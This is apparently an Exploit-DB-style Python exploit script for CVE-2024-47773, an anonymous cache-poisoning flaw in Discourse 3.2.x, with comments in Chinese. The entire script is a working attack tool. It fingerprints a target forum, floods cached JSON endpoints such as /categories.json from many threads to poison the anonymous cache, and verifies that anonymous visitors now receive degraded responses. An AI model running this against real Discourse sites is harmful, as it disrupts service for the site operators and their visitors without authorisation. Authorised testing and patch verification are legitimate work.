1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
|
#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
...
"""
import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin
class DiscourseCachePoisoning:
def __init__(self, target_url, threads=10, timeout=10):
self.target_url = target_url.rstrip('/')
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
self.poisoned = False
def check_target(self):
"""检查目标是否可访问且运行 Discourse"""
try:
response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
if response.status_code == 200:
if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
return True
except Exception as e:
print(f"[-] Error checking target: {e}")
return False
def check_anonymous_cache(self):
"""检查匿名缓存是否启用"""
try:
# 测试一个应对匿名用户缓存的端点
response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
# 检查缓存相关的响应头
cache_headers = ['cache-control', 'etag', 'last-modified']
has_cache = any(header in response.headers for header in cache_headers)
if has_cache:
print("[+] Anonymous cache appears to be enabled")
return True
else:
print("[-] Anonymous cache may be disabled")
return False
except Exception as e:
print(f"[-] Error checking cache: {e}")
return False
def poison_cache_worker(self, endpoint):
"""执行缓存投毒尝试的工作线程函数"""
try:
# 创建无Cookie的会话来模拟匿名用户
anon_session = requests.Session()
anon_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
# 发送快速请求以投毒缓存
for i in range(50):
response = anon_session.get(
f"{self.target_url}{endpoint}",
timeout=self.timeout
)
# 检查响应是否缺少预加载数据
if response.status_code == 200:
try:
data = response.json()
# 检查是否出现投毒成功的迹象（即缺少预加载数据）
if self.is_poisoned_response(data):
print(f"[+] Cache poisoning successful on {endpoint}")
self.poisoned = True
return True
except:
pass
time.sleep(0.1)
except Exception as e:
pass
return False
def is_poisoned_response(self, data):
"""检查响应是否表明缓存投毒成功"""
# 寻找缺少预加载数据的迹象
indicators = [
# 缺少或为空预加载数据
not data.get('preloaded', True),
data.get('preloaded') == {},
# 缺少预期的字段
'categories' in data and not data['categories'],
'topics' in data and not data['topics'],
# 错误指示器
data.get('error') is not None,
data.get('errors') is not None
]
return any(indicators)
def test_cache_poisoning(self):
"""在多个端点上测试缓存投毒"""
print("[*] Testing cache poisoning vulnerability...")
# 通常被缓存的目标端点列表
endpoints = [
'/categories.json',
'/latest.json',
'/top.json',
'/c/general.json',
'/site.json',
'/site/basic-info.json'
]
threads = []
for endpoint in endpoints:
print(f"[*] Testing endpoint: {endpoint}")
# 创建多个线程进行缓存投毒
for i in range(self.threads):
thread = threading.Thread(
target=self.poison_cache_worker,
args=(endpoint,)
)
threads.append(thread)
thread.start()
# 等待线程完成
for thread in threads:
thread.join(timeout=5)
if self.poisoned:
break
time.sleep(1)
return self.poisoned
def verify_poisoning(self):
"""验证缓存投毒是否成功"""
print("[*] Verifying cache poisoning...")
# 使用新的匿名会话进行测试
verify_session = requests.Session()
verify_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
try:
response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
if self.is_poisoned_response(data):
print("[+] Cache poisoning verified - anonymous users affected")
return True
else:
print("[-] Cache poisoning not verified")
except:
print("[-] Unable to parse response")
else:
print(f"[-] Unexpected response code: {response.status_code}")
except Exception as e:
print(f"[-] Error verifying poisoning: {e}")
return False
def exploit(self):
"""主漏洞利用函数"""
print(f"[*] Testing Discourse Cache Poisoning (CVE-2024-47773)")
print(f"[*] Target: {self.target_url}")
if not self.check_target():
print("[-] Target is not accessible or not running Discourse")
return False
print("[+] Target confirmed as Discourse instance")
if not self.check_anonymous_cache():
print("[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)")
print("[*] Continuing with exploit attempt...")
success = self.test_cache_poisoning()
if success:
print("[+] Cache poisoning attack successful!")
self.verify_poisoning()
print("\n[!] Impact: Anonymous visitors may receive responses without preloaded data")
print("[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE")
return True
else:
print("[-] Cache poisoning attack failed")
print("[*] Target may be patched or cache disabled")
return False
def main():
parser = argparse.ArgumentParser(description='Discourse Anonymous Cache Poisoning (CVE-2024-47773)')
parser.add_argument('-u', '--url', required=True, help='Target Discourse URL')
parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
args = parser.parse_args()
exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)
try:
success = exploit.exploit()
sys.exit(0 if success else 1)
except KeyboardInterrupt:
print("\n[-] Exploit interrupted by user")
sys.exit(1)
except Exception as e:
print(f"[-] Exploit failed: {e}")
sys.exit(1)
if __name__ == '__main__':
main()
|